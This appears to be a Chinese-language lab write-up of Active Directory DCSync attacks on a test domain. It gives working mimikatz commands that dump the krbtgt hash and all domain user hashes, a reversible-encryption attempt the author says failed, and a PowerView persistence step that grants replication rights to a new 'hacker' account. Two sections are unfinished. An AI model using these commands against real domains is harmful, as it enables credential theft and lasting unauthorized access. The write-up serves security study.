文章目录
- 一、DCSync简介
- 二、利用DCSync获取域内用户哈希
- 三、DCSync可逆加密利用(没搞定)
- 四、域外利用DCSync获取域用户哈希(待完成)
- 五、利用ACL滥用进行DCSync持久化
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、DCSync简介
在一个大型网络中往往存在多台域控制器(DC),每台DC都需要保持最新的凭证,而保持最新凭证的方法就是在各个域控制器之间进行数据共享,共享用户凭证、安全描述符等域内变更信息。于是微软推出了目录复制服务,这个服务让域控制器可以在其他域控制器进行任何修改时进行更新。例如,DC1新增了一个名为test的域用户,那么DC2就可以通过该服务的自身同步功能同时更新test用户。
DCSync就是伪装域控制器并使用DSGetNCChanges
函数来请求其他域控制器获取域内的用户凭证。DCSync攻击已经被集成到mimikatz中,在使用DCSync
时mimikatz会自动模拟域控制器,并要求其他域控制器使用Microsoft目录复制服务远程协议(MS-DRSR)来获取域内用户凭证,它可以通过这些手段要求其他域控制器将NTDS.DIT
信息同步给自身模拟的域控制器。特别注意:对于这些操作,无需在域控制器上执行任何一条命令。
二、利用DCSync获取域内用户哈希
执行DCSync攻击的域用户必须具有复制目录更改所有项权限(Replicating Directory Changes All)和复制目录更改权限(Replicating Directory Changes),而在域内默认拥有有两种权限的用户如下:
- 域控制器本地管理员组
- 域管理员组
- 企业管理员组
- 域控制器计算机账户
1、这里win 7作为域内主机,同时使用域内成员god\test登录win 7;该域成员并非域管理员,但在域内拥有“复制目录更改”和“复制目录更改所有项”权限。
在AD管理中心点击域的属性
;
先添加当前域成员,在授权相应的权限。
2、利用该用户执行mimikatz
的DCSync功能以获取指定域成员哈希。这里尝试获取krbtgt
用户的凭证,该用户是获取黄金票据是的重要用户。命令如下:
# 获取域内krbtgt用户的哈希
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt" exit
3、获取域内所有用户的哈希
# 获取域内所有用户的哈希
mimikatz.exe "lsadump::dcsync /domain:god.org /all /csv" exit
三、DCSync可逆加密利用(没搞定)
当用户账号设置ReverseiblePasswordEncryption
(可逆加密)属性后,攻击者可以直接获取该用户的明文密码。前提是该域用户在设置可逆加密属性后修改过密码
# 为test域用户设置可逆加密属性
Set-ADUser test -AllowReversiblePasswordEncryption $true
老是报错
设置该属性后,使用mimikatz
获取该域用户的明文密码。
lsadump::dcsync /domain:god.org /user:test
四、域外利用DCSync获取域用户哈希(待完成)
待完成。
五、利用ACL滥用进行DCSync持久化
如果想进行DCSync攻击,所用的账号需要有DS-Replication-Get-Changes
、DS-Replication-Get-Changes-All
这两个权限。DCSync攻击可用于持久化工作中。
下面的实验是在域控win server 2008上完成,假设已经拿到域管的账号密码。下一步进行权限维持。
1、执行下面的命令新建一个域用户,并赋予“复制目录更改”和“复制目录更改所有项”两个权限。
# 域内新建用户
# net user <username> <password> /add /domain
net user hacker admin123. /add /domain
# 域内删除用户
# net user <username> /del /domain
net user hacker /del /domain
import-module .\Powerview.ps1 # 导入Powerview.ps1
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hacker -Rights DCSync -Verbose
# DC=god,DC=org:代表god.org,即域名
# -PrincipalIdentity:指定所需添加到域的用户名
# -Rights:指定需要获取的权限
# -Verbose:显示详细运行信息
2、使用god\hacker
登录域内机器,并进行DCSync攻击。
mimikatz.exe "lsadump::dcsync /domain:god.org /all /csv" exit
3、如果想要查询域内哪些用户拥有“复制目录更改”和“复制目录更改所有项”两个权限。使用如下命令(下图实在域控上执行的,管理员打开powershell):
# 获取拥有“复制目录更改”和“复制目录更改所有项”两个权限的用户
import-module .\Powerview.ps1 # 导入Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"} # 需要域管账号